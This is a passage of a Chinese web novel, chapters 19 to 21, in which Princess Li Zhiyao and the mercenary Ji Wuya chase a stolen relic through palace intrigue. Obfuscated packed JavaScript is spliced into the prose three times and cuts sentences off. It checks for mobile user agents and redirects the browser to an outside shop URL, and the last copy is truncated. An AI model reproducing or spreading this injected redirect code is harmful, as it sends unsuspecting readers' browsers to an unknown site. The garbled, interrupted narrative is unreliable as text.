李之夭一直对纪无涯收到的钱财去往何处感到好奇,他做买卖收费这么贵,总是一副见钱眼开的样子。 但他对自己的这些事向来闭口不提,李之夭就算再好奇,也不能直接开口问。 毕竟挺不礼貌的。 信鸽落下,停在纪无涯肩膀上,纪无涯没有避讳她直接取出信来看。 信的内容李之夭看不到,随后就在他手中化成齑粉。 李之夭一直在观察纪无涯面上神色。 很可惜,她看了半天,从信鸽到来,飞走,再到他看信息,最后到销毁的整个过程,他面上一直没出现任何情绪波动。 这样一个不算一个惜字如金的人,有问必答,偏偏对人待事,总是冷冰冰的,保持疏离。 情绪就没太大起伏,包括在她这里接二连三栽倒,换做别人早就暴跳如雷,每次他都跟没事人一样,甚至都不会抱怨吐槽几句。 “纪无涯,送我回趟宫里。” 城里城外都是大肆搜查李之夭的人,昨日纪无涯明目张胆地将人劫走,这样的行为无异于在挑衅。 京城的街上都传遍了,宿宁公主被人劫走。 朝中一干大臣无不就此事件称赞大快人心,巴不得李之夭赶紧死。 清武帝在御书房里审视眼前站着的小女孩。 不管怎么看,都只有十二岁,怎么可能是从缘楼出来的。 “你说你名字叫雪?” 雪恭敬回答:“是的,皇帝陛下,您想找宿宁公主,不知您是想要活的,还是没要求,只要是能站在您面前就成?” 她面容笑着,琥珀色类似于猫儿一般的大眼隐隐藏着一股兴奋,“若什么样子的都可以,我保证今日就能把人给你带回来,就是有可能会缺胳膊少腿啥的。” 孙广全怒斥出声:“大胆,那可是宿宁公主,胆敢不敬!” 雪见状慌乱委屈地跪在地上,垂下的头,让清武帝看不到雪很是不屑地撇撇嘴。 出门前楼主再三叮嘱她,皇家的人不可招惹,更不可触怒天威,若是见到皇上,注意看他身边老太监的脸色,让对方生气的话,就要跪下认错。 她不解,“为何要认错还要跪下?这辈子我就没怎么跟人低过头,要是想动我,直接把对方的皮剥了,眼睛挖下来,再把手指一截一截给卸了。” 楼主反手给她一巴掌拍在头上,“跟朝廷的人打交道,你以为是在江湖里那一套?我劝你收敛自己的性子,若是给老娘惹出麻烦,我先把你卸了。” 雪记在心里,跪地也快。 清武帝道:“听说你们缘楼在宁缘城,朕已派人过去维持宁缘城秩序,等你事情办得差不多,把宿宁完好送回来,秩序想必也整顿差不多了。” 雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534636|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听有些没听懂,不解抬头,清武帝懒得跟她解释:“朕收到的回信说负责宿宁的是你们楼里的十三护法,今日朕就不跟你计较,你作为传话送信的人,务必将朕方才的话一字不落的传给他,可曾记住了?” 对上那双如猎鹰一般的眼睛,雪吓出一身冷汗。 如同当初她在燕国草原上见到的狼王一样,下一秒就能把她吃了。 出了宫,她气急败坏地跺了跺脚,出声喊道:“寻方!你给我出来!” 寻方从暗处走出来,神色复杂。 “师妹。” 雪抓住他的衣袖没有撒娇而是趾高气昂地命令:“带我去找十三师兄!快带我去!” 寻方摇头拒绝:“师兄现在不会见你,他还有自己的事情要做。” “皇帝要我带话给十三师兄,你快带我去,然后跟我劝十三师兄一起回去,初一若没回去,他会死的!” 寻方无所谓耸了耸肩:“你就算这样威胁,我也不会带你去。” 雪一张小脸皱成一个包子,气呼呼地又在原地转了几圈,最后恼羞成怒跺了几脚彷佛下定某种决心。 “你不带我去,我自己去找他!师兄一定在城里,若是找不到,我杀了城里的人!杀了他!” 她说完飞身掐住路过小贩的脖子,小贩担子落在地上,从箩筐里滚落一地的橘子。 寻方望向雪的身后,一脸欣喜:“师兄,你来了?” 雪下意识往身后望去,身后是对她退避三舍的百姓,个个彷佛看见洪水猛兽一样。 哪有什么他口中的人。 “你骗我!” 雪加重了手上的力道,“快带我去,不然我杀了他!” 寻方叹了口气,走上前揪着雪的后衣领,把她从人身上像拎小鸡一样提下去。 “你要是敢这么做,师兄这辈子都不会见你,还会每天找人给你吃又苦又涩的莲子。” 见她手还揪着小贩的衣裳,寻方的手不轻不重打在雪的手背上。 “爪子松开。” 雪平稳落地后,寻方将她推上前去,语气严肃道:“去给人道歉,并把橘子捡起来,你弄坏的橘子全买了,再把人带去医馆检查一下伤势,给人赔钱。” 看她还想再发作,加重语气又补充了一句:“不然,我去跟师兄告状。” 李之夭在人群外看到这一幕,小姑娘身手不错,就是年纪太小,好在旁边跟着的人不是奸恶,分得清对错。 戴好头上幕离,转身就要走。 “走吧,不许惊动任何人,价钱你开。” 纪无涯抛着银币,收回落在人群里的视线,跟上她的步伐。 “五十两。” 19. 暗渡 第19章 李之夭知道进宫的密道,但密道口设置在御花园附近,从御花园去往她住处,一路上还得避开禁军和宫人的视线。 她自己不是不能避开,而是有纪无涯带她回去,省时省力。 谁让他轻功好,不多加利用,岂不可惜了。 她只消出个钱,剩下的事别人能办好,她干嘛还花这个心思。 回宫直接用她身份比较方便,后面想出宫就是难事,护国寺的事说复杂也复杂,但说简单也简单,李之夭不想不了了之。 从出护国寺那日起,她便知道是何人以护国寺的名义把珠子送进了宫中。 更何况,她要借此机会,重创裴淮,以防他日后羽翼丰满,转头对大魏不利。 现在宿宁宫修缮得大差不差,除了后院还没修缮完毕,其余都焕然一新。 那堵墙随着大火蔓延,触碰到机关,当晚就塌了。 经历大火之后,屋子摆设虽被春夏小顺子他们尽力还原成当初的模样,可大大小小总归还是有些不同的。 院子里春夏跟小顺子正训着新来的宫人,新的侍卫还未调派过来,现在秦立山还在外头追着他们满世界乱跑。 怎么会想到他们现在又进了京城还回到了宫里。 李之夭悄悄翻进屋子里,在屋中翻找好久,都未曾见到舍利子。 “你找什么?我帮你。” 纪无涯也蹲下身,李之夭拉开低处柜门的动作一滞,生怕她误会要收钱一样,纪无涯难得大发慈悲一回。 “不收钱。” 李之夭也想告诉他自己找什么,但在护国寺的时候就已挑明,送进宫一颗珠子,那珠子就是舍利子,她还表示会帮纪无涯查到珠子在哪里。 现在转头告诉他说自己在找一颗舍利子。 这不就是不打自招,一旦纪无涯拿到舍利子,不是转头把她杀了,就是投靠裴淮。 “一个对我来说很重要的东西,一句两句说不清楚。” 看她像防贼一样防着,昨夜的猜测顿时又涌上心头,找个机会验证一番真伪,横竖珠子又不会跑。 纪无涯起身开始把玩他的银币,走到门口靠在墙上,注意外头动静,一边闭目养神。 李之夭翻找半晌都没找到。 难不成葬送在火中了? “你那侍女来了,不是外头那个,是另一个。” 是时雨。 “让她进来。” 时雨做事向来稳重,李之夭不打算避开她,只等她推门转身刚合上门就跟靠在门后的纪无涯对上视线。 时雨惊吓之余,纪无涯就连威胁都是冷淡毫无感情的。 “要是出声,你家公主就死定了,转身,往里走,她在等你。” 时雨照做走进去,满眼欣喜。 李之夭示意她禁声,同时说道:“小点声,我是偷偷回来的。” 得到时雨的点头回应,李之夭眸子落在镂空的楠木屏风外隐隐约约的纪无涯身上,她用食指点了水在桌上写出二字。 ——舍利? 李之夭同时压低声音道:“这两日可有人来过?” 确保这句话是纪无涯能听到的,也不耽误她同时问出她想知道的答案。 时雨会意,忙在桌上写下几字。 ——我放于案上。 “有,今日清晨工部侍郎带了几位工匠来,同时还有几名皇上派遣下来帮忙的宫人。” ——无,速寻。 李之夭再次往外瞥了一眼,发现原本在门口的人不见了踪影,她顿时吓得还沾水的手一抖,将茶杯里的水全打翻在桌面上,把原本她写出来的字都给挡去七七八八。 再回神纪无涯便靠在窗柩前,上上下下抛着银币,好整以暇地望着她们,眸子从狼藉的桌面上收回。 “我去四处转转,一刻后来接你。” 纪无涯走了,李之夭不确定他有没有看到,心跳加速仍是心有余悸。 “皇上派下来的人,是谁陪着一起过来?” 因是今早才发生的事,时雨想都没想便直接回答:“他们是随工部的人一起来的,孙公公跟苏侍女都没来。” 时雨言辞急切,着急澄清,“主子,我昨天晚上真把舍利放回原位了,今早工部人来之前我洒水舍利尚在。” “工部的人是何时离开?” “就在半炷香之前。” 若那时还在,只能说明舍利是在工部和宫里的人来之后才不见,东西被他们带走了。 难不成裴淮的人已经找到苏月清,苏月清拿东西的动作还这么快。 因为在大魏皇宫,能跟珠子扯上关系,并且帮着北唐的人只有苏月清。 屋外脚步声传来,李之夭藏进屏风后,时雨佯装擦拭桌子,进来的人是春夏。 “时雨,她来了。” 春夏附耳悄声跟时雨嘀咕几句,时雨表情变了变。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547469|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如今主子不在,宫里我们得帮她照应着,让她继续小心看着,我方才还在找舍利,没想到竟敢偷到宿宁宫来了。” “这可怎么办?” 时雨收起抹布,佯装沉思许久才对她道:“暂时不要轻举妄动,我想想后面怎么办。” 春夏点点头,转身匆匆离去。 合门声响起,李之夭才从屏风后走出。 “主子,舍利在苏月清手里。” 也得亏这两年在宫里培养了些许自己的心腹,并且找人多多注意着苏月清的动向,不然只是她刚蒙生出猜想,哪能这么快得到证实。 裴淮知道珠子在谁手里是迟早的事,她也不可能次次面对裴淮都用那个理由,有苏月清在大魏皇宫里应外合,她想寻找自己身世,而裴淮掌握她身世的秘密,两人走到一起,并不是难事。 得到珠子的苏月清今日再揽下去骊山的任务,这样就能神不知鬼不觉在宫外见到裴淮,并且把舍利给他,然后跟裴执撞上,恰好被一路跟着苏月清的裴淮看见。 裴执那边尽管有耿进才横加阻拦,不怕一万就怕万一,苏月清这边也不能不防。 谁知道因为要跟剧情靠拢,主角光环会出现什么变故。 “时雨你去找皇上,告诉他说宫里出了贼,让皇上派人搜查宫里,苏月清为了自保定会把舍利藏起来,她监视苏月清定会配合你,舍利今日到手,不要去别的地方,你在皇上面前哭,说高僧之物因此玷污,怕物件不祥,有损国运,你要带去护国寺祈福,皇上不会不让你去的,出了宫后,我在护国寺山脚桃花祠卖香火处等你。” 只要拦住苏月清,不让她出宫,并且还能趁着这件事把苏月清关起来一段时间,也能避开裴淮的人跟她见面。 她必须先一步确认这颗珠子是否是裴淮要找的那颗。 时雨点点头,连忙应下,事情紧急,这会儿苏月清恐怕已经在求出宫去骊山的旨意。 时雨急匆匆往御书房赶,恰好被坐在树上藏在树阴里的纪无涯看到。 指尖的银币锃亮,流苏在半空中浮动,他默默收回视线。 这会儿还未有一刻钟,他不着急回去。 纪无涯收起银币,这个点头顶太阳正是毒辣之际,御花园除了巡逻禁军,很少见人经过。 时雨走后没多久,来了些人,为首的女人穿着是宫里的妃嫔,正受烈日煎熬,此时她精致面容上是遮挡不住的烦躁。 是绾妃段兰之。 20. 闹剧 第20章 段兰之今日盼星星盼月亮等到皇上命她去御书房的口谕,以为想通不惩罚她了,为此还精心打扮一番。 她兴高采烈进御书房想扑进皇上怀里却被躲开。 传唤她并非想重归于好,而是今年夏日去骊山避暑不需她同行,另外给她塞了一摞书让她抽空多看看。 清武帝看到她闭门思过,打扮花枝招展,又将其臭骂一顿,让她滚回去继续关禁闭。 若为了这么一点事,清武帝大可派人过来通传,让她顶着酷暑来回折腾。 明摆就是心怀不满,想把她揪出来继续敲打敲打。 段兰之气得脸都歪了。 脚下步子迈得很大,俗话说人倒霉起来喝凉水都塞牙,她在众目睽睽下,于平摊地面崴了脚。 重心不稳摔倒,抱着脚嚷嚷起来。 “哎哟我的老天爷,我的脚疼死了。” 段兰之坐在地上哀嚎,跟着她的奴婢瞬间慌了神,把她围得水泄不通,热气铺面,就连呼吸都不顺畅了。 她直接当场开始发疯,大叫一声吓退宫人。 面上细汗布满,黏着她散乱的碎发。 “你们是不是想害我命!围那么紧干什么!快把我抬去找太医!啊!”她气急败坏地尖叫一声,“一个个脑袋挂脖子上都是干什么吃的!” 宫人如梦初醒七手八脚将她抬起来。 段兰之反手指着最后面头也不敢抬起来的小奴婢,“你把这条路全给我挖了!什么破路也敢让我崴脚!办不到你就等死吧!” 小宫女哪见过这场面,段兰之走后吓得直接哭出来。 纪无涯捏着银币,装作视而不见。 她刚进宫就被分到绾妃手下做事,宫里人都认不全,就要没了性命。 一时间想不开就要跳池塘寻死。 他抛出石子儿打在她身上,小宫女抽泣转身。 “哭这么大声,吵人。” 小宫女循声只瞧见藏于树枝上模糊的身影,她来这两天也只见过绾妃亲生女儿以及名声响亮的宿宁公主。 误会是不是宫里不知名的主,当即跪在地上不停道歉。 “主子饶命!主子饶命!奴婢知错了!” 纪无涯突然想起李之夭,那个黑心肝的爱哭鬼。 换做是她在这里,估计得跟他掰扯掰扯。 “我问你个问题,你若是如实回答,我帮你把地掀了,你主子还不敢拿你出气。” 小宫女仿佛抓到救命稻草,哭都不哭了。 “主子请说。” “从护国寺送进来一颗舍利子,如今你可知舍利子去往何处?” 小宫女沉默半晌开口道:“舍利子刚送进来的时候,宫里闹挺大的,被绾妃娘娘讨要,如今在宿宁公主手里。” 纪无涯眸子微凉,指尖摩挲银币。 “当真?” 小宫女赶忙道:“但奴婢第二日见到宿宁宫里的侍女把舍利子送去了秀春宫,说绾妃娘娘想要,公主避嫌,便送给绾妃娘娘,后面的事奴婢不知道了。” 她李之夭会有这么好心把到手的东西拱手让人? 想想都不可能,就算送过去也不是什么好屁。 纪无涯没第一时间回到宿宁宫,而是去了秀春宫。 秀春宫门头上挂了好几盏红灯笼,就连红绸都有,一点不像失宠落魄的门庭萧瑟,很是喜庆。 他坐在屋顶上,屋内段兰之骂骂咧咧地。 “凭什么!同样是公主,凭什么我家阿长欢就比不上李之夭那个前朝余孽!长欢才十二岁,她李之夭都多大了,一个十七岁的人跟一个十二岁娃娃争来抢去,我呸还真是不要脸!跟她娘一样!死了还要膈应我!” “今日皇上无缘无故把我叫去训了一顿,她被贼人掳走,我挂个红灯笼碍什么事了!是谁偷偷去皇上面前嚼舌根子?你们这群吃里扒外的,要是被我找出来定要她一层皮!” 末了,似瓷器狠狠摔在地面的声音传来。 段兰之继续若无旁人骂道,拿捏住自己宫里人不敢去李之夭跟前多嘴一句,更加肆无忌。 “让她活着还了得?一个前朝余孽!皇上把她当亲生孩子养着,这灯笼红绸我偏不拆!最好李之夭死在外面,小杂种永远不要回来!” 夜色里他微微睁开眼帘。 宫里上上下下包括朝中大臣都知道,段兰之跟清武帝连慎是同一个地方出来的,当年连慎看她可怜,尚未离家外出入仕时娶她当妾室,后来在京中考取功名,尽管不是前三甲,但也得丞相赏识,后带全家人搬离村子来到京中,尽管如此连慎正妻之位都没抬她。 连慎如今三四十岁,早年参加科举,后又上战场征战。 如今当新皇两年,后宫妃嫔为巩固位置也只纳了两三个,两年时间膝下孩子也只有段兰之所生的一位公主。 朝中大臣忙着对付李之夭,就连皇帝子嗣都来不及关心。 在纪无涯眼里,段兰之骂得不无道理,因为后来大魏覆灭,确实跟李之夭脱不了干系。 他不知后面李之夭会作何选择,他们永远不会是一路人。 大魏存不存在,北唐崛起他不会掺和半分。 如今,他重生是回来救自己一次。 他蒙面翻身下了屋顶,落在檐下正好接住一个白釉青花瓷瓶,趁人没反应过来迅速敲晕周围奴仆,端着瓷瓶走到段兰之跟前。 吓得段兰之从椅子上滚了下去,骂人的话瞬间咽回去。 “你……”她哆哆嗦嗦组织好语言,“你想干什么!” 纪无涯把瓷瓶放好,抽出腰间软剑冲她歪了歪头。 剑身反光明晃晃的,段兰之连站起来逃跑的力气都没有,只能满院子乱爬。 “来人啊!救命啊!” “杀人啦——杀人啦——” 她站起来没跑几步又跌倒,或被纪无涯弹出石子儿打在膝盖上,朝大门过去,纪无涯早就守在那里了,段兰之只能往回逃。 二人你来我往几个回合,段兰之抱住一根柱子,咣一下撞上去,没把自己撞晕差点嚎出声来。 杀手逼近,她瘫软在地上,眼泪鼻涕横流。 “大侠饶命!饶命!我跟你无冤无仇!你为何要杀我?” 纪无涯竖起锃亮的剑身,微微偏头:“不算无冤无仇。” “我明白了,是不是李之夭那个小贱人派你来的?你是她身边的暗卫对不对?是她派你来的?” “不是。” 纪无涯故意晃了晃剑身,恐吓她道,“问你个问题。” 段兰之两眼一翻,若不是冰凉的剑身贴在她面上,差点直接晕过去。 “前段时间送进宫的舍利子,听说在你手里,把它给我饶你不死。” 两手死死抱住柱子的人似乎想起什么伤心事,嚎得更大声了。 “啊啊啊——舍利子不在我手里,在李之夭手里,你去把她杀了你就能拿到了,你杀她别杀我!” 纪无涯长剑一挑,削落她几缕头发,眨眼把软剑缠回身上。 “来的路上,看御花园里的地板砖不顺眼,你去把它撬了,不然我回头还杀你。” 等他回到宿宁宫,里面哪有李之夭的身影,早就把自己甩了逃了。 对方在桌上留下字据用一只茶杯压住——一刻已过,本公主不等了。 好得很,李之夭。 纪无涯收起字据,转身朝宫外追去。 目睹人离开的扮做宫女的李之夭在院子里长舒一口气。 珠子回到她手里,继续跟纪无涯待在一起很危险,万一暴露就惨了。 出宫的路千千万万,一条不行再换换。 李之夭估摸着纪无涯出宫的时间,赶忙从别的路口溜了出去。 * 时雨跪在御书房,哭得声泪俱下,请求清武帝为自己主子做主。 跪在一旁的苏月清十指放在大腿上情不自禁捏紧衣裙。 “公主来大魏一直是奴婢在伺候,奴婢深知主子性子,她万万可不敢惹事!” 时雨声音哽咽,一副英勇就义地模样。 “这次好不容易得到皇上您的赏赐,她很是珍爱,还让宿宁宫上下几人日日打扫点香供奉,不准懈怠,谁曾想晚上主子被人掳走,生死不明,今日舍利子在工部和派下来打扫的人离开后不翼而飞,公主平安归来若发现舍利不见定会难过,按照公主的性子是不会过来麻烦皇上,倘若日后被有心之人拿此事从中作梗,有嘴都说不清,奴婢斗胆还请皇上为公主做主!” 说完重重扣头。 眼看清武帝要被时雨将注意力分散过去,苏月清淡淡出声把话题拉到自己身上。 “皇上,下月便要去骊山避暑山庄避暑,皇上先下指令再去搜查也不迟。” 时雨明白她打什么主意,若是先下令让她去处理骊山的事,等皇上下令彻查的时间,苏月清早就带着东西出宫。 “皇上,求皇上为公主做主,速速派人前去搜查贼人,万一贼人趁着这个时间把东西销毁,岂不是白让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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反观身旁的时雨,依旧跪得笔直,神色坚定,跟她恨不得坐在地上的做派成对比。 舍利子在她手里,但她得手便藏了起来,那个地方只有她一个人知道,想搜也搜不到她身上。 所以目前来看,她并不担心这把火烧到自己。 一炷香后,有内官吓得回来禀告。 “皇上!绾妃娘娘在撬御花园的青石砖!” 清武帝震怒,拍案暴起:“段兰之反了天不成!让她继续关紧闭,她跑出来干什么要造反么!” “绾妃娘娘说有个杀手要杀她,是那个杀手要她撬青石砖,绾妃还说不撬那人就杀了她。” “简直大胆!”清武帝怒气冲冲地就往外走。 皇帝都走了,她们也不能单独留在里面便跟了上去。 御花园守了一批禁军,还有堵住去路的宫女太监,个个在看段兰之蓬头垢面,手拿铲子,把当初干农活的锄地的力气都使出来了,把御花园的青石砖路撬得横七竖八。 “段兰之!你想气死朕是不是?!” 听到暴喝声的段兰之把手里铲子一丢,踉踉跄跄爬到清武帝跟前。 “皇上,救救臣妾!李之夭派杀手过来要杀臣妾,杀手说我不把御花园的路撬开,他就杀了我!” 清武帝把段兰之紧紧扯住的衣角拽回来,指着周遭道:“宿宁如今生死未卜,哪里能派人来杀人!你就是故意跟朕作对!” 她大叫一声,又惊又怕,当场直接跳进池塘里。 惊叫声四起,岸上手忙脚乱地救人,忙活半晌把段兰之从池塘里捞起来,叫了太医皇帝又派人把她抬回秀春宫看管起来。 清武帝被气得太阳穴直跳,揉着酸胀的眉心久久才缓过气来。 “你们把她看好了,等她醒了之后让绾妃去将御花园的青石砖恢复原样,让她把秀春宫里的路全拆了再铺回去,没朕的命令不准出来!” 清武帝看透了,什么事都攀咬李之夭一口,搅得后宫不得安宁。 刚来大魏进宫时连吃颗糖都会来跟前请旨的人怎么可能有狼子野心。 回到御书房,时雨跟苏月清继续老老实实跪在地上,清武帝瘫坐在椅子上闭眼揉着眉心缓神。 霞光满天倦鸟归林时孙广全才回来,手中捧了个檀木盒,身后并无犯人。 “为何只有物件并无犯人?” 孙广全打开檀木盒露出里面的珠子。 苏月清心里生出不好的预感。 “回皇上,因犯人就在身边。” 孙广全眼神望向苏月清。 21. 布局 第21章 李之夭出宫后特意潜至刚进宫的地方蹲了小半天,见没有纪无涯的踪影才放心离开。 幕离遮面,从居民巷子曲折绕到银来庄旁边的小道上,再进银来庄的后院。 耿进才早就准备好一直在等她。 若是时雨那边未能如愿让苏月清惹上麻烦,耿进才这边能把裴执抓进牢中关上几日,只要避开三人碰面的剧情,也问题不大。 裴淮想趁机在大魏敛财,借裴执的势回风光回北唐,她偏不如裴淮所愿,能坑的全部坑一遍,想回去除非在她手上掉几块肉来。 可今晚院中气氛不对,耿进才也同往日有不一样的地方。 往常耿进才都会上前来迎她,现在他交握双手直挺挺站在那里。 大事不妙! 李之夭压紧帽檐转身就想跑。 “你若敢跑,他就没命了。”少年嗓音淡淡的,带着威胁。 伸出去的脚缩了回来,与此同时她头顶的幕离似被东西打掉,白色的纱落地。 李之夭深吸一口气,换上另一副表情,转身时娇滴滴,随时要哭出来一样,目光四处扫了一圈并没找到纪无涯。 纪无涯从耿进才身后的推车里翻身出来,坐在石凳上,背靠石桌,手里把玩银币。 他目光是冷的,比往常还冷上几分。 “你要敢哭,我立刻把你捆了丢大街上,等上一会儿自然多的是来杀你的人。” 快要出来的眼泪瞬间憋了回去。 生气了。 不然干不出来威胁人的事。 李之夭安静如鸡坐在椅子上,金三娘将银来庄的店铺门关上,站到她身后。 耿进才的命还掌握在纪无涯手里,他们也不敢乱动。 纪无涯点了点耿进才的肩膀:“你叫什么名字?” “耿进才。” 纪无涯又指了指站在后面的小二,“你呢?” 这两个人他记得,每次进后院被坑少不了他们从中作祟。 “小二。” “问你名字,不是问干什么的。” “我就叫小二。” 纪无涯一滞,默默转了目光落在李之夭脸上。 少女眼眶红红的,咬着下唇,神色发怯,下一秒就要委屈地哭出来,谁看了不得心疼。 “不、准、哭。”他特意把这三个字咬得及重。 “纪无涯,你找我就找我,怎么还牵扯旁人,有什么话咱两不能好好说么?”李之夭声音很小,拿捏得刚好能让对方听到,说到最后越来越委屈。 “嗯。”纪无涯依旧不敢看她,明知她是装出来的,还是避免不了上当,面对她的控诉,搭在耿进才肩膀上的没有收回的意思,只是静静坐着。 双方沉默许久,眼看日落西山,李之夭绷不住演不下去了。 她着急时间一过,恐怕裴执就不在城里,届时错过,她上哪找人去。 之所以选择在今日傍晚让耿进才去府衙告人,在书中裴执这个时间点是要出门去跟北唐的探子接头,寻找裴淮的下落。 裴执此人,在北唐跟裴淮交好,实际上他也要跟裴淮抢皇位,只不过他一直伪装很好,到最后男女主才发现,上演一番兄弟反目的戏码。 北唐皇室腥风血雨,裴执想借他人之手除掉裴淮,没想到裴淮都把拦路的人干掉,这才逼得裴执无法继续跟他兄友弟恭下去。 让裴淮回到北唐,无异于放虎归山。 纠结再三,李之夭小心翼翼问道:“你为何不说话?” “不是你要跟我说么?我在听。” 他没问关于银来庄的事,他记得从前自己追随的某个人一.夜之间忽然家财万贯,只听消息说是收了大魏的一个有名钱庄。 难不成就是从那时候开始李之夭才变了么? 可他记得钱庄的名字并不叫银来庄。 但钱庄的位置确实是在银来庄这里无疑。 这段时间,从遇到李之夭开始,包括后来遇到裴淮,纪无涯总觉事情跟记忆里的出现了偏差。 余光里见李之夭又哭了起来。 “咱们不连累无辜人,有什么话咱两去别处说,别耽误人家做生意,好不好,纪无涯?” 她眼神带着一股哀求,话语尾音小心翼翼,一碰就要碎了。 “自身难保,还有空管别人。” 纪无涯移开了手,便要起身跟李之夭离开。 金三娘明白李之夭的用意,不会真让他们走。 “你是咱们银来庄的大客户,哪有客户来了让她走的道理,这后院留给你们,绝不打扰。” 重获自由的耿进才立刻跟银来庄的其他人一溜烟跑了,就剩下李之夭和纪无涯两人站在后院里。 李之夭转身去将幕离捡起来,趁机从腰间取出一个小瓷瓶,喂自己吃了解药,打开瓶口藏于袖中,朝纪无涯走的时候佯装腿一软朝他身上栽过去,空出来的手直接摁在纪无涯脸上。 他闭眼的时候李之夭将瓶子里的药粉撒出来,有些还沾在了旁边的绿植上。 动作几乎是同时完成的,她手拿开借整理衣服的同时把瓶子收回去。 这么一闹,李之夭整个人扑在他怀里,还有摁在他脸上的那只手,让他心神不宁,也莫名红了耳朵。 他别过脸去,看到绿植上沾的粉末,心生诧异。 “这是……” 他话没说完两眼一黑倒在地上。 李之夭一脸奸计得逞蹲下去拍了拍他的脸 “你可得多攒点钱,等你老了我铁定得找你卖东西。” 躺地上的人忽然一动,李之夭惊叫出声下意识想逃,谁知对方抓住她的脚踝,害她逃跑不成反倒跌坐在地。 能屈能伸方成大事,李之夭抱头闭眼大声求饶。 “饶命!我、我不是故意的,我承认是我几次三番暗算你,你就大人不记小人过,看在我是你老顾客的份上,不要跟银子过不去,求你了。” 抓着她的罪魁祸首半晌没出声,李之夭悄咪咪从指头缝里偷看,对方早就倒在地上不省人事。 她拍拍胸口,心情顺畅起来,这药闻一下老虎都能倒下,刚才纪无涯回光返照那出,还以为是纪无涯能耐上天了。 但纪无涯死死握着她脚裸的手无论怎么弄都不松手,李之夭想走也走不掉,折腾半晌反倒出一身汗,她认命躺在地上。 “还不如也把我迷晕过去算了。” * 耿进才他们不敢在路上耽搁,风风火火赶去衙门报官,留下小二跟骆寒山在外头茶摊上等消息。 进衙门后,他噗通滑跪在地,给府尹磕了个头。 金三娘捏着帕子,哭得很是伤心。 府尹认出来他们欲将二人扶起。 “这是怎么了,耿掌柜,和夫人遇到何事?” 耿进才一脸哀愁重重叹口气,金三娘一副又要哭出来地样子。 “大人有所不知,前段时间我们做了一个卫客的人的生意,谁曾想到了交货的日子,他人竟然不见了,我派人去城门口蹲守了几日,怕他卷钱跑路,并不见他出城,迫于无奈我和夫人只好前来求助大人,求大人为我们做主!” 金三娘伸手锤耿进才,埋怨道:“都怪你!要是追不回来钱,咱们银来庄上上下下都要喝西北风了!” 她说完再也忍不住哭出声抱怨,“我的命怎么这么苦啊,跟你好不容易过了几天安稳日子,你怎么就这么不长记性!非要做他的生意!” 耿进才怒道:“当时你可不是这么说的,你说风险大收益高,是你看的料子,如今出了事怪我我头上!要是耽误今年给官府捐钱,这事你也有责任!” “你、你敢凶我!耿进才,我嫁给你这么多年,你就是这么对我的!” 看他们要打起来,府尹赶忙劝道:“二位放心,本官一定派人搜查,过去银来庄给府衙捐赠不少钱财,施粥济贫,本官都看在眼里,一定帮二位把人抓出来!” 安抚一通后见他们二人情绪有所好转,复道,“不知这个卫客是何模样?” 耿进才推卸道:“你问我夫人,是她跟着去的。” 金三娘声音陡然拔高:“什么叫问我,你不也跟着去了?” “你跟他时间多,你记的更清楚些,你说。” “凭什么我说你不说?!” 看他们又要吵起来,这两个是府衙的财神爷,府尹不好得罪,继续和稀泥。 “好了好了,你们夫妻二人别吵了,谁都别说了,跟本官一起去抓人,看到他你们指认就成。” 官兵找人的时候耿进才和金三娘特意带了幕离遮住样貌,说是怕别卫客手下的人见到打草惊蛇,其实也是怕裴淮的人撞见坏了事。 根据情报,裴执的画像耿进才他们提前 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金三娘一脚将他踹进人群里,她上前去找府尹。 “大人,我们走,没点担当责任的男人,这个家没我迟早得散。” “好好好。”府尹连声答应,生怕金三娘误伤他。 人群里的耿进才借此脱身,去了前几日跟裴执做生意的丝绸铺子处,骆寒山已在等他,并且把铺子的归属契约递了上来。 主人的名字是他自己本人的名字——骆寒山。 “接到消息裴执进城的消息后,就已按照主子的意思去做,户部那边铺子的信息已更改过。” 如此一来,若裴执说做交易的人不是他们的时候,只要有凭证,裴执就不能翻身,最后也能说同前掌柜没交接好,闹了乌龙。 可退可进,总归是寻不到他们错处。 李之夭并不知道裴执接头地点,不然就不会让耿进才去衙门大张旗鼓地寻人搜查。 她躺在地上,眼前橘光漫彩白鹭归,院子里的风拂面,树梢摇晃,地面斑驳,直到夜色占领天空,月上枝头。 外面脚步声才匆匆响起。 “主子,你怎么躺这里?”小二进来看到这样的场景,一脸惊诧。 “事情办得怎么样了?” 小二扶她胳膊坐起来,“事情已经办妥了,主子放心。” 李之夭晃了晃脚,那只手也跟着动了动。 “后面等我消息吧,把他毒解了,再给我备辆马车,别让他发现了。” 既然被抓到,那就抓到吧,她不想再吐一次。 小二从怀里取出一颗药丸塞到纪无涯嘴里,给他灌了几口水便去准备吩咐的事,事情办妥后直接离开了。 估摸药性起作用,李之夭再踹了踹他。 “哎,别装死了,快起来。” 纪无涯睁眼,目光有一瞬间的迷离,很快清明。 这次药效过了,头竟然不疼。 “迷.药升级了?” 李之夭动了动被他拽着的脚,“快松开。” 纪无涯继续躺在地上,也不撒手。 